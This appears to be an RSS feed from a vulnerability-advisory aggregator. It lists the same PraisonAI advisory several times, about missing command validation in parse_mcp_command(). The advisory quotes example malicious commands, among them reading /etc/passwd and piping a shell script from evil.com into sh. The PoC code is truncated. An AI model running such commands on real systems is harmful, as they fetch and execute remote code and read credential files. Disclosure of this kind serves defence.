https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 03:10:28 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-309171 EUVD-2026-309171 https://cve.radiocsirt.org/vuln/euvd-2026-309171 https://cve.radiocsirt.org/vuln/fkie_cve-2026-41497 <p>PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI&#39;s MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9.</p> <p>PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI&#39;s MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-41497 https://cve.radiocsirt.org/vuln/ghsa-9qhq-v63v-fv3j <p><strong>Affected:</strong> PyPI: praisonai</p> <p>### Summary</p> <p>The fix for PraisonAI&#39;s MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.</p> <p>### Affected Package</p> <p>- **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** &lt; 47bff65413be - **Patched versions:** &gt;= 47bff65413be</p> <p>### Details</p> <p>The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.</p> <p>The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.</p> <p>Malicious MCP server commands such as `python -c &#39;import os; os.system(&#34;id&#34;)&#39;`, `bash -c &#39;cat /etc/passwd&#39;`, and `/bin/sh -c &#39;wget http://evil.com/shell.sh | sh&#39;` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.</p> <p>### PoC</p> <p>```python #!/usr/bi…</p> <p><strong>Affected:</strong> PyPI: praisonai</p> <p>### Summary</p> <p>The fix for PraisonAI&#39;s MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.</p> <p>### Affected Package</p> <p>- **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** &lt; 47bff65413be - **Patched versions:** &gt;= 47bff65413be</p> <p>### Details</p> <p>The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.</p> <p>The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.</p> <p>Malicious MCP server commands such as `python -c &#39;import os; os.system(&#34;id&#34;)&#39;`, `bash -c &#39;cat /etc/passwd&#39;`, and `/bin/sh -c &#39;wget http://evil.com/shell.sh | sh&#39;` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.</p> <p>### PoC</p> <p>```python #!/usr/bi…</p> https://cve.radiocsirt.org/vuln/ghsa-9qhq-v63v-fv3j https://cve.radiocsirt.org/vuln/pysec-2026-473 <p><strong>Affected:</strong> PyPI: praisonai</p> <p>### Summary</p> <p>The fix for PraisonAI&#39;s MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.</p> <p>### Affected Package</p> <p>- **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** &lt; 47bff65413be - **Patched versions:** &gt;= 47bff65413be</p> <p>### Details</p> <p>The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.</p> <p>The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.</p> <p>Malicious MCP server commands such as `python -c &#39;import os; os.system(&#34;id&#34;)&#39;`, `bash -c &#39;cat /etc/passwd&#39;`, and `/bin/sh -c &#39;wget http://evil.com/shell.sh | sh&#39;` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.</p> <p>### PoC</p> <p>```python #!/usr/…</p> <p><strong>Affected:</strong> PyPI: praisonai</p> <p>### Summary</p> <p>The fix for PraisonAI&#39;s MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.</p> <p>### Affected Package</p> <p>- **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** &lt; 47bff65413be - **Patched versions:** &gt;= 47bff65413be</p> <p>### Details</p> <p>The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.</p> <p>The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.</p> <p>Malicious MCP server commands such as `python -c &#39;import os; os.system(&#34;id&#34;)&#39;`, `bash -c &#39;cat /etc/passwd&#39;`, and `/bin/sh -c &#39;wget http://evil.com/shell.sh | sh&#39;` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.</p> <p>### PoC</p> <p>```python #!/usr/…</p> https://cve.radiocsirt.org/vuln/pysec-2026-473